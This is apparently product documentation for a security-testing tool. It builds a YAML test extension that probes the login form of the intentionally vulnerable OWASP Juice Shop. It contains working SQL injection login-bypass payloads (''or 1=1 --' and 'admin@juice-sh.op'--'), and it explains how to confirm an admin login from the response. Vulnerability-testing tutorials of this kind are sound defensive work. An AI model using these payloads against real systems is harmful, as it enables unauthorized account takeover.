Example of the FAST Extension

We are using the vulnerable web application OWASP Juice Shop to demonstrate the capabilities of the FAST extensions mechanism.

This application can be deployed in multiple ways (for example, using Docker, Node.JS, or Vagrant).

To see the OWASP Juice Shop documentation that lists the vulnerabilities that are embedded into it, proceed to the following link.

The Preliminary Application Inspection

To successfully construct FAST extensions, you need to understand the operation mechanism of the web application or API that you need to test for vulnerabilities (the internal architecture of the application or API, request and response formats, the logic of exception handling, and so on).

Let us perform an inspection of the OWASP Juice Shop application to detect any potential vulnerabilities.

To do this, proceed to the login page (http://ojs.example.local/#/login) using a browser, enter the ' symbol into the “Email” field and the 12345 password into the “Password” field, and press the “Log in” button. With the help of the browser's web developer tools or Wireshark traffic capturing software, we can figure out that using the apostrophe symbol in the “Email” field causes an internal error in the server.

After analyzing all of the information from the request to the server, we can come to the following conclusions:

• The REST API method POST /rest/user/login is called upon trying to log in.

• The credentials for logging in are transferred to this API method in JSON format as shown below.

  {
      "email": "'",
      "password": "12345"
  }
  

After analyzing all of the information from the server's response, we can come to the conclusion that the 'email' and 'password' values are used in the following SQL query:

SELECT * FROM Users WHERE email = ''' AND password = '827ccb0eea8a706c4c34a16891f84e7b'

Thus, we can assume that the OWASP Juice Shop could be vulnerable to SQL injection attacks through the login form.

  {
      "email": "admin@juice-sh.op'--",
      "password": "12345"
  }

To understand how to detect the case of a successful vulnerability exploitation, log in to the site using the administrator's user profile with the email and password values mentioned above. Intercept the API server's response using the Wireshark application.

• The HTTP status of the response: 200 OK (in the case of an issue during login, the server will respond with the 401 Unauthorized status).

• The server's response in JSON format that informs about a successful authentication:

  {
      "authentication": {
          "token": "some long token",     # token value is unimportant
          "bid": 1,                       # user's shopping cart identifier
          "umail": "admin@juice-sh.op"    # user's email address in the umail parameter
      }
  }
  

The Creation of a FAST Extension to Test the Login Form for Vulnerabilities

Preliminary Setup:

Create a directory to put the created extension in later. Create a file that describes the extension in this directory. For example, my-extension.yaml.

Constructing an Extension:

1. The meta-info section.

   Prepare the description of the vulnerability that the extension will try to detect.

   • vulnerability header: OWASP Juice Shop SQLi
   • vulnerability description: Demo of SQLi in OWASP Juice Shop (Admin Login)
   • vulnerability type: SQL injection
   • vulnerability threat level: high
     
     

   The corresponding meta-info section should look as follows:

   meta-info:
     - type: sqli
     - threat: 80
     - title: 'OWASP Juice Shop SQLi'
     - description: 'Demo of SQLi in OWASP Juice Shop (Admin Login)'
   

2. The collect section, the Collect phase.

   The REST API POST /rest/user/login method is called upon trying to log in.

   There is no need to create tests for each of the baseline requests for logging in that were sent to the API as the testing for vulnerabilities will be performed the same way for each piece of data passed in the POST request.

   Set up the extension so that it executes once when the API receives the request for logging in. To do so, add the Collect phase with the uniqueness condition to the extension.

   The /rest/user/login request to the API for logging in consists of the following elements:

   1. The first part of the path with the rest value
   2. The second part of the path with the user value
   3. The login action method
      
      

   The corresponding points that refer to these values are the following:

   1. PATH_0_value for the first part of the path
   2. PATH_1_value for the second part of the path
   3. ACTION_NAME_value for the login action-method
      
      

   If you add the condition that the combination of these three elements must be unique, then the extension will only run for the first /rest/user/login baseline request to the API (such request will be treated as unique, and all of the following requests to the API for logging in will not be unique).

   Add the corresponding collect section to the extension.

   collect:
     - uniq:
       - [PATH_0_value, PATH_1_value, ACTION_NAME_value]
   

3. The match section, the Match phase.

   We need to check whether the baseline request that was sent to the extension is the request to the API for logging in, because the extension we are creating will exploit the vulnerabilities that the login form contains.

   Set up the extension so that it only runs for the following URI: /rest/user/login. Add the Match phase that checks whether the received request contains the required elements. This can be done using the following match section:

   match:
     - PATH_0_value: 'rest'
     - PATH_1_value: 'user'
     - ACTION_NAME_value: 'login'
   

4. The modify section, the Modify phase.

   Let us suggest that it is required to modify the baseline request to reach the following goals:

   • To clear the Accept-Language HTTP header value (its value is inessential for vulnerability detection).
   • To replace the initial values of the email and password parameters with neutral dummy values.

   Add to the extension the following modify section that alters the request to meet the goals described above:

   modify:
     - "HEADER_ACCEPT-LANGUAGE_value": ""
     - "POST_JSON_DOC_HASH_email_value": "dummy"
     - "POST_JSON_DOC_HASH_password_value": "dummy"
   

   Request elements description syntax

   Because the request data that is contained in the JSON format is stored in <key: value> pairs, the point that refers to the email element value will be as shown above. The point that refers to the password element value has a similar structure.

   To see detailed information about constructing the points, proceed to this link.

5. The generate section, the Generate phase.

   It is known that there are two payloads that should replace the value of the email parameter in the baseline request in order to perform the SQL injection vulnerability exploitation.

   • 'or 1=1 --
   • admin@juice-sh.op'--

   Inserting the payload into the modified request

   The payload will be inserted into the previously modified request, because the extension contains the modify section. Thus, after inserting the first payload into the email field, the test request data should look as follows:

   {
       "email": "'or 1=1 --",
       "password":"dummy"
   }
   

   Because any password can be used to log in successfully due to the chosen payloads, it is not necessary to insert the payload into the password field, which will have a dummy value after the Modify phase is applied.

   Add the generate section that will create the test request that meets the requirements discussed above.

   generate:
     - payload:
       - "'or 1=1 --"
       - "admin@juice-sh.op'--"
     - into: "POST_JSON_DOC_HASH_email_value"
     - method:
       - replace
   

6. The detect section, the Detect phase.

   The following conditions indicate that the user authentication with administrator's rights was successful:

   • The presence of the shopping cart identifier parameter with the 1 value in the response body. The parameter in the JSON format in the response body should look the following way:

     "bid":1
     

   • The presence of the user email parameter with the admin@juice-sh.op value in the response body. The parameter in the JSON format in the response body should look the following way:

        "umail":"admin@juice-sh.op"
     

   Add the detect section to the extension, which checks whether the attack was successful according to the conditions described above.

   detect:
     - response:
       - body: "\"umail\":\"admin@juice-sh.op\""
       - body: "\"bid\":1"
   

   Escaping the special symbols

   Remember to escape the special symbols in the strings.

The final extension my-extension.yaml with all of its sections looks as follows:

meta-info:
  - type: sqli
  - threat: 80
  - title: 'OWASP Juice Shop SQLi'
  - description: 'Demo of SQLi in OWASP Juice Shop (Admin Login)'
  - tags:
    - OWASP Juice Shop
    - SQL Injection

collect:
  - uniq:
    - [PATH_0_value, PATH_1_value, ACTION_NAME_value]

match:
  - PATH_0_value: 'rest'
  - PATH_1_value: 'user'
  - ACTION_NAME_value: 'login'

modify:
  - "HEADER_ACCEPT-LANGUAGE_value": ""
  - "POST_JSON_DOC_HASH_email_value": "dummy"
  - "POST_JSON_DOC_HASH_password_value": "dummy"

generate:
  - payload:
    - "'or 1=1 --"
    - "admin@juice-sh.op'--"
  - into: "POST_JSON_DOC_HASH_email_value"
  - method:
    - replace

detect:
  - response:
    - body: "\"umail\":\"admin@juice-sh.op\""
    - body: "\"bid\":1"

To see detailed information using the created expression, proceed to the next chapter.